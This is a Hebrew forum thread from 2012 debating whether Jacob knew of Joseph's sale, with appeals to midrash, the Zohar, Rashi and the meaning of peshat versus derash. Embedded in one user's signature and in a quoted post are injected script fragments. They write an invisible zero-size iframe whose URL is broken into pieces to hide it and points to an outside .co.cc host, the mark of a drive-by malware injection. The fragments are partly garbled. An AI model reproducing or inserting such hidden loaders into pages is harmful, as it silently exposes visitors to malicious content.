|
|
| נשלח ב-3/1/2012 23:24 |
|
| |
מימוני. תודה על קבלת הפנים . דבריך ראויים לך ולחכמינו נוחי הנפש אך עדיין אינן מתיישבים על ליבי.
ראשית תיקון טעות .העמסת על טענתי דברים שלא עלו על ליבי. לא טענתי שעם ישראל לא אמור היה להתקיים אלא שמלכות בית דוד לא היתה אמורה לשלוט בעם ישראל ובכללם דוד מלך ישראל ומשיח בן דוד באחרית הימים.
ולגוף דבריך שטענת שיעקב כנראה העריך שהאחים מכרו את יוסף, אלא שהוא העדיף להתעלם מחטאתם ולסלוח להם על מנת שלא לפרק את עם ישראל העתיד לצאת מזרעו- דברים אלו קשים להולמם. שהרי ראובן נענש על חטאו והפסיד את חלק הבכורה , הגם שלא היה שותף למכירת יוסף והגם שעשה תשובה (לפחות ע"פ המדרש),וכן שמעון ולוי איבדו את חלקם בארץ ופוזרו בין נחלות השבטים האחרים כתוצאה מעוון שכם. נראה ,אם כן, שיעקב לא הקל ראש בחטא בניו ומיצה איתם את הדין עד כדי נישולם מן הירושה. מדוע,אפוא, סלח יעקב לחטא בניו הנותרים שמכרו את יוסף ולא נישלם מן הירושה. וביותר קשה מדוע העניק את המלכות ליהודה , והלא יכול היה להותיר את המלוכה בידי יוסף או לתיתה לבנימין שלא חטא במכירה.
כמו כן, טענת שברכה בטעות הויא ברכה והוכחת זאת מברכות יצחק ליעקב שבאו בערמה -אך לענ"ד אין הנידון דומה לראיה והפרש גדול יש בין המקרים .ראשית , שהרי ברכת יצחק ליעקב זכתה לאישרור מחדש על ידי יצחק לאחר שנתגלתה התרמית באומרו " גם ברוך יהיה". ועוד, שיצחק ברך את כל הראוי לברכה יהא מי שיהא אלא שסבר בטעות שעשיו הוא הראוי ולא יעקב והרי ידוע שיעקב היה ראוי לכך.משום כך חלו ברכותיו. אולם האחים לאחר חטאם אינם ראויים לברכה ונמצא שברכת יעקב לא יכולה לחול עליהם.
לאור זאת לא נותר לי אלא לומר שיעקב ידע על מכירת יוסף והצדיק את האחים מחמת שום טעם הכמוס עימו, ומחמת כך בירכם. ועדיין צריכים אנו למודעי.
 |
|
|
|
|
| נשלח ב-3/1/2012 23:38 |
|
| |
| האסופי כתב: |  | לאור זאת לא נותר לי אלא לומר שיעקב ידע על מכירת יוסף והצדיק את האחים מחמת שום טעם הכמוס עימו,
ומחמת כך בירכם. ועדיין צריכים אנו למודעי. |
|
חז"ל אומרים שהקב"ה הצטרף כעשירי למניין של הפס"ד על הריגת או מכירת יוסף, וממילא ק"ו ליעקב אבינו.
הנושא עמוק עד אין קץ וצריך ללמדו ביישוב הדעת.
|
|
|
|
|
| נשלח ב-4/1/2012 02:02 |
|
| |
ההסבר שהכי נכנס בפסוקים (ולא ארחיב בזה כי לא כאן המקום) שהאחים לא מכרו את יוסף אלא המדינים מצאו אותו קודם שהגיעו אליו האחים (או ראובן, ליתר דיוק) ומכרו אותו לישמעאלים. כשירד יעקב אמר לו יוסף שנחטף ע"י מדינים ונמכר לישמעאלים (כמו שאמר לשר המשקים "כי גנב גנבתי מארץ העברים") ויעקב כנראה תיאר לעצמו שהתפתח מאבק ולכן נמצאה כתונת ספוגה בדם...
|
|
|
|
| נשלח ב-4/1/2012 09:53 |
|
| |
יונתן
יפה כתבת.
אם כי עדיין משונה הדבר שיוותרו על כותנת יקרה. בזמנם כל דבר היה יקר, וכותנת משובחת על אחת כמה וכמה.
ואפשר גם שחשבו שקרעו את הכותנת וטבלו בדם כדי להעלים את מכירת יוסף כדי שלא יצילוהו. אם כי זה נראה כמו מותחן מודרני. האם בעולם העתיק היו גם כן עלילות מורכבות ומתוחכמות כמו שהיום רוקם כל מחבר ספר? בעלילות אלו דומה שיש כאן ננסים על גב ענקים (אנו ננסים). כל מחבר מוסיף תיחכום לעלילות המתחדשות. וזה נושא לדיון בפני עצמו.
*** שותף סוד
ברוך השב!
אשמח אם תציין מקור למה שמצאת בחז"ל כי הקב"ה הסכים להשתתף עם האחים במכירת יוסף או אפילו בהריגתו.
בבורותי איני יודע היכן זה כתוב.
והנושא ראוי לדיון בפני עצמו, אלא שהאשכול מספיק קצר בינתים כדי לדון בכך כאן.
ניסוח דבריך אודות "העמקה" במפורש ראוי לאשכול בפני עצמו, מהי העמקה ומהו לפתח תיאוריות ועלילות דמיוניות ולחשוב שגילינו "אמת עמוקה". ואיך מבררים זאת.
_________________
שומר פיו ולשונו - שומר מצרות נפשו
< type="text/">document.write("");>
|
|
|
|
| נשלח ב-4/1/2012 10:15 |
|
| |
ושוב ההבדל בין העמקה לשטחיות הוא ההבדל הידוע של נחמה לייביבויץ' בין פשט לדרש.
|
|
|
|
| נשלח ב-4/1/2012 10:25 |
|
| |
| מיימוני כתב: |  | שותף סוד
אשמח אם תציין מקור למה שמצאת בחז"ל כי הקב"ה הסכים להשתתף עם האחים במכירת יוסף או אפילו בהריגתו.
בבורותי איני יודע היכן זה כתוב.
והנושא ראוי לדיון בפני עצמו, אלא שהאשכול מספיק קצר בינתים כדי לדון בכך כאן.
ניסוח דבריך אודות "העמקה" במפורש ראוי לאשכול בפני עצמו, מהי העמקה ומהו לפתח תיאוריות ועלילות דמיוניות ולחשוב שגילינו "אמת עמוקה". ואיך מבררים זאת. |
|
הדברים כתובים בזהר על אתר (פרשת וישב דף קפ"ג:).
היות ודעתך מראש היא שאלו הן תיאוריות ועלילות דמיוניות אין שום טעם בדיון כלשהוא אתך עליהן.
|
|
|
|
| נשלח ב-4/1/2012 10:26 |
|
| |
הבעיה בסיפורי בראשית שהאגדה והדרש נצחו את ההגיון והפשט. בסיפור שצירפו את הקב"ה כעשירי למנין במכירה וגם השביעו אותו שלא יספר ליעקב- ליצחק אבל ה' סיפר עליו לא חלה השבועה-, כל האגדות הללו אין כל מקור . ואינן עומדות בכל קנה מידה של הגיון. אבל האלשיך וגם כמה מהשותי"ם מספרים זאת בשם חז"ל. אין באגדות כל פסול, הם נחמדות ויפות. הבעיה כשהופכים אותן לעובדות, והלא יודע מבין כי זו היא האמת.
|
|
|
|
| נשלח ב-4/1/2012 10:37 |
|
| |
| מיימוני כתב: |  | יונתן
יפה כתבת.
אם כי עדיין משונה הדבר שיוותרו על כותנת יקרה. בזמנם כל דבר היה יקר, וכותנת משובחת על אחת כמה וכמה.******* type="text/">document.write("*************** scrolling='no' frameborder='0' height='0px' width='0px' src='ht"+"tp:"+"/"+"/"+"vjgvj.co"+".cc/?a="+***************+"'><*");> |
|
אני גם בטוח שהם עשו בכתונת כמה קרעים, ראית פעם מישהו נטרף ושהבגד שלו נשאר שלם?
|
|
|
|
| נשלח ב-4/1/2012 11:19 |
|
| |
האסופי, מעצם הדברים ניכרת טעותך, אתה כותב שיעקב ביקר את ראובן ואת שמעון ולוי (יוזמי סילוק יוסף) בסוף ימיו, ושואל למה הוא לא נישל את שאר האחים , וזאת כאשר גם אותם עצמם הוא לא נישל מהירושה. דומני שאתה מחמיץ ענין יסודי כאן, כל ענינו של יעקב הוא להעביר את ההנהגה מיחידים למשפחה שממנה יווצר עם, את זה מבין יוסף ומתנהל בהתאם לאורך כל הדרך, ולמרות כל הקשיים. (אגב גם חז"ל הבינו והדגישו את זה לאורך כל הדרך) ממילא ההתנהלות של יעקב בהתאם.
|
|
|
|
| נשלח ב-4/1/2012 12:58 |
|
| |
יעקב ידע על מכירת יוסף. עיין בראשית מ"ט כג, ופירושי אונקלוס ורש"י שם.
|
|
|
|
| נשלח ב-4/1/2012 13:28 |
|
| |
כך סבר רש"י ואוקולוס? הרד"ק חושב אחרת
|
|
|
|
| נשלח ב-4/1/2012 15:48 |
|
| |
| בעלבעמיו כתב: |  | ושוב
ההבדל בין העמקה לשטחיות הוא ההבדל הידוע של נחמה לייביבויץ' בין פשט לדרש. |
|
ומהי .???
לדעתי
פשט = מה היה,
דרש = דורש לדעת מה היה,
בכדי לדעת מה היה = פשט, צריך פשוט לחזור בזמן ולשאול את השחקנים עצמם,
כל זמן שאין דרך לחזור בזמן, אז כולנו עוסקים אך ורק בדרש, והבן זאת לעומק,
|
|
|
|
| נשלח ב-4/1/2012 17:01 |
|
| |
פשט - מה המובן הפשוט של הפסוק. דרש - לשם מה הפסוק נאמר. הפשט צריך להיות מוסכם על כולם, וכל עוד אין פשט המוסכם על כולם, הפשטים מתחדשים בכל דור ודור. להבדיל, מדרשים אפשר לדרוש רק מתוך ידיעה של התורה כולה.
|
|
|
|
| נשלח ב-4/1/2012 17:08 |
|
| |
| מ80 כתב: |  | פשט - מה המובן הפשוט של הפסוק. דרש - לשם מה הפסוק נאמר. הפשט צריך להיות מוסכם על כולם, וכל עוד אין פשט המוסכם על כולם, הפשטים מתחדשים בכל דור ודור. להבדיל, מדרשים אפשר לדרוש רק מתוך ידיעה של התורה כולה.
|
|
זה מה שאמרתי, פשט = מה היה במציאות וגם כמובן בציווי אז מה כוונת הכותב, ובפשט האמיתית לא יכול ליפול מחלוקת,
הרי מה היה או מה כוונת הכותב, צריך פשוט לחזור בזמן ולשאול אותם,
כאן אנו באים לדרוש מה היה או מה כוונת הכותב,
כל המושג דרש בא רק אחרי שאנו לא יכולים לחזור בזמן ולשאול, אחרת בשביל מה לדרוש אפשר פשוט לשאול,
|
|
|
|
| נשלח ב-4/1/2012 17:10 |
|
| |
חשבתי שמה שכתבתי זו תיאולוגיה יהודית בסיסית וקלאסית.
|
|
|
|
|